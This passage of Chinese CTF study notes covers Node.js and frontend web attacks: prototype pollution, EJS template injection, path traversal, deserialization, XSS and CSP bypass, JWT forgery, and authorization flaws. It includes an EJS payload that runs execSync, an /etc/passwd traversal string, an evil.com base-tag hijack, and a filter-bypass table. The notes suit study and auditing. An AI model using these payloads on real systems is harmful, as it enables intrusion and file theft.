app.get("/user/:id", (req, res) => { res.send(req.params.id); });
app.listen(3000);
```

`require()` 是 CommonJS 模块导入；`module.exports` 导出。

网安实战（后端 JS，进阶方向）

- 原型链污染 → RCE：Node.js 端一旦发生原型污染，某些场景可以进一步利用，例如：
 - 污染 `Object.prototype.shell` 等被 `child_process` 相关库读取的字段。
 - 经典链条：污染影响到某些模板引擎（如 EJS、Pug）内部判断逻辑 → 模板注入 → RCE。
 - 借助 `NODE_OPTIONS` 环境变量类利用（污染影响子进程启动参数）。
- 模板注入（SSTI，Node 版）：常见于 EJS/Pug/Handlebars 使用了 `render(userInput)` 而非固定模板：

```
// 危险：直接把用户输入当模板字符串渲染
ejs.render(req.body.template, {});
```

Payload 示例（EJS）：

```
<%=
process.mainModule.require('child_process').execSync('id')
%>
```

- 路径穿越 / 任意文件读取:

```
app.get("/file", (req, res) => {
  res.sendFile(path.join(__dirname, req.query.name)); // 未校
  验 ../});
```

Payload:

```
?name=../../../../etc/passwd
```

- 不安全的反序列化: `node-serialize` 等库的 `unserialize()` 支持还原带 `__$ND_FUNC__$` 前缀的立即执行函数字符串, 可直接构造恶意序列化数据实现 RCE (原理与 PHP/Java 反序列化思路相通, 但载体是 JS 函数)。
- 审计 Node.js 后端源码 (如果题目给了后端代码) 时, 优先搜索: `eval`、`Function`、`child_process`、`exec/execSync`、`require(userInput)` (动态 `require` 可能导致任意模块加载)、`res.sendFile/fs.readFile` 相关的路径拼接。

11. CTF 实战方向汇总

11.1 XSS 专题

- 反射型 **XSS**: payload 在 URL 参数中, 服务端未过滤直接回显到 HTML。
- 存储型 **XSS**: payload 存入数据库 (如评论、昵称), 所有访问者都会触发, 危害更大。
- **DOM XSS**: 见第 3.3 节, 服务端可能完全无感知。
- **CSP 绕过**:
 - 若 CSP 允许 `unsafe-inline`: 内联脚本可直接执行。
 - 若允许某些 CDN 域 (如 `cdn.jsdelivr.net`): 可利用该域上已存在的、能被滥用的库 (JSONP 端点、`Angular` 沙箱逃逸等) 间接执行代码。
 - `script-src` 未限制 `object-src/base-uri`: 可用 `<base`

`href="//evil.com/">` 劫持相对路径脚本引用。

- 详细 payload 构造、按上下文分类（HTML/属性/JS字符串/URL）已在既有 `xss.md` 专题笔记中覆盖，此处不重复展开。

11.2 JWT 专题

语法基础

JWT 结构: `header.payload.signature`（均 Base64URL 编码，`.` 分隔）：

```
// 前端解析（不校验签名，仅展示）
function parseJwt(token) {
    return JSON.parse(atob(token.split(".")[1]));
}
```

网安实战

- `alg: none` 绕过：把 header 改成 `{"alg": "none"}`，signature 置空，部分实现未正确校验算法字段，直接放行。
- **HS256 / RS256 混淆攻击**：如果服务端用同一段代码验证两种算法，且没有强制指定算法，可以把 RS256 (`alg` 用公钥签名) 改成 HS256 (`alg` 用公钥当 HMAC 密钥签名)——因为公钥通常是公开的，攻击者能自己算出合法签名。
- 弱密钥爆破：HS256 密钥是弱口令时，可用 `hashcat/jwt_tool` 字典爆破。
- `kid` 参数注入：部分实现用 header 里的 `kid` 字段去查找密钥文件路径，若未校验可能导致路径穿越，指定一个内容可控的文件（如日志文件）作为密钥来源，实现签名伪造。
- 前端逆向 JWT 生成/刷新逻辑时，关注 `localStorage/sessionStorage` 存取、以及 `Authorization: Bearer` 头的拼接位置，判断刷新 Token 时是否存在越权（如可以刷出别人的 Token）。

11.3 前端 API 漏洞

- 水平越权：接口按 `id/uid` 查询数据，未校验请求者是否是数据所有者，直接改 `id` 即可查看他人数据。
- 垂直越权：普通用户调用管理员专属接口，前端只是“隐藏了入口”，接口本身未做角色校验——从 JS 源码/接口列表里翻出隐藏接口路径即可直接调用。

- 参数污染（**HPP, HTTP Parameter Pollution**）：同名参数传多个值（`?role=user&role=admin`），不同后端框架取值行为不同（取第一个/最后一个/合并成数组），可能绕过某些只检查其中一个值的校验逻辑。
- 未授权访问：接口完全没做任何认证校验，直接匿名访问即可获取数据，常见于"内部接口忘记加鉴权中间件"。

11.4 JS 逆向

汇总解法路径（承接第 7、8、9 章）：

```

定位业务 JS 文件（7.1）
↓
搜索敏感/加密相关关键词（7.2）
↓
判断是否存在混淆（第9章）→ 反混淆还原可读代码
↓
定位加密/签名函数（8.4）
↓
提取算法类型、密钥、IV等参数
↓
本地（Node.js）复现加密函数
↓
构造恶意明文 → 生成合法密文/签名
↓
用 Burp/脚本提交伪造请求，绕过前端限制直达后端漏洞
  
```

附录：速查表

弱类型比较速查

```

"" == false      // true
"0" == false     // true
[] == false      // true
[] == ![]        // true
null == undefined // true
NaN == NaN       // false
"admin" == 0     // false（现代引擎）
  
```

常见绕过关键字替换表

```
alert    → confirm / prompt / print
eval     → Function() / (0,eval)() / setTimeout(str)
.        → []
""       → String.fromCharCode() / atob() / \x.. / \u....
空格     → /**/ , \t , \n , +
<script> → <img onerror=> / <svg onload=> / <iframe srcdoc=>
```

Sink 危险等级速查

```
高危: eval / Function / setTimeout(字符串) / setInterval(字符串)
高危: innerHTML / outerHTML / document.write / insertAdjacentHTML
中危: location.href / element.src (可注入 javascript: 伪协议)
低危: innerText / textContent / setAttribute(非事件非href类)
```

审计通用 checklist

- [] 搜索所有 Sink 关键字，反查 Source
- [] 检查 == 弱比较逻辑
- [] 检查 postMessage 是否校验 origin
- [] 检查敏感信息是否硬编码 (key/token/secret)
- [] 检查加密参数: 算法/密钥/IV是否可提取复现
- [] 检查接口鉴权: 水平/垂直越权
- [] 检查 JWT: alg字段、签名算法混淆、kid注入
- [] 检查是否存在 sourcemap 泄露
- [] 检查原型链污染入口 (合并/深拷贝函数)